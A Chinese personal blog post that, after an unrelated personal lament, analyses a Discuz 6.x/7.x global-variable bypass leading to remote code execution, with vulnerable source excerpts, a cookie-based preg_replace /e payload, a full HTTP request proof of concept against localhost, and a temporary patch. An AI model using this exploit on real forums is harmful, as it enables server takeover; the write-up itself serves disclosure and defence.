Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

Discuz 6.x/7.x 由PHP全局变量导致的getshell与POC


影响版本 Discuz 6.x/7.x (php > 5.3.x)
源码下载 https://dd1.pc6.com/soft/Discuz_UTF8_jfsky.rar


漏洞原理


php大于php 5.3.x 中,php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御
绕过漏洞。
文件  include/common.inc.php :
1.  foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
2.  foreach($$_request as $_key => $_value) {
3.  $_key{0} != '_' && $$_key = daddslashes($_value);
4.  }
5.  }
把gpc变量过滤
1.  if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
2.  exit('Request tainting attempted.');
3.  }
防止外部提交 GLOBALS  覆盖 discuz $GLOBALS 数组。
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列
中,request_order默认值为
GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过
COOKIE来提交
GLOBALS变量。
漏洞利用
文件 \include\discuzcode.func.php 139 行
1.  if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_arr
ay($GLOBALS['_DCACHE']['smilies'])) {
2.  if(!$discuzcodes['smiliesreplaced']) {
3.  foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
4.  $GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies
/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$k
ey]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
5.  }
6.  $discuzcodes['smiliesreplaced'] = 1;
7.  }
8.  $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_
DCACHE']['smilies']['replacearray'], $message, $maxsmilies);



$smileyoff变量来自于数据库post中的smileyoff值,当discuz发表一个帖子时,调用checksmilies函数。
文件 \include\post.func.php 495 行 :
1.  function checksmilies($message, $smileyoff) {
2.  global $_DCACHE;
3.
4.  if($smileyoff) {
5.  return 1;
6.  } else {
7.  if(!empty($_DCACHE['smileycodes']) && is_array($_DCACHE['smileycodes'])) {
8.  $message = stripslashes($message);
9.  foreach($_DCACHE['smileycodes'] as $id => $code) {
10.  if(strpos($message, $code) !== FALSE) { // 查看帖子中有没有表情字符 如 :)  字符
11.  return 0;
12.  }
13.  }
14.  }
15.  return -1;
16.  }
17.  }
当帖子里面有表情,而且后台容许显示表情,返回0。
即可进入if流程,覆盖变量执行任意代码。
discuzcode函数在查看帖子文件中调用,修复cookie值为
1.  GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearr
ay]=phpinfo()
执行代码。
poc:
1.  GET /cms/discuz/dz_7_1/viewthread.php?tid=7 HTTP/1.1
2.  Host: 127.0.0.1
3.  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
4.  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5.  Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6.  Accept-Encoding: gzip, deflate
7.  Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][re
placearray]=phpinfo()
8.  Content-Length: 26
9.
10.  Connection: keep-alive
临时补丁
文件 /include/common.inc.php
1.  if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
discuz 6.x/7.x  代码执行 2014/10/28
2.  exit('Request tainting attempted.');
3.  }
改为
1.  if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS']) OR isset($_COOKIE['GLO
BALS'])) {
2.  exit('Request tainting attempted.');
3.  }


防护建议
拦截cookie中的所有 GLOBALS 多维数组(正常不会存在)
相关链接


[1]Discuz! 6.x/7.x 全局变量防御绕过漏洞 https://sebug.net/vuldb/ssvid-19639


评论
热度 ( 1 )

© Sh4dow's Blog | Powered by LOFTER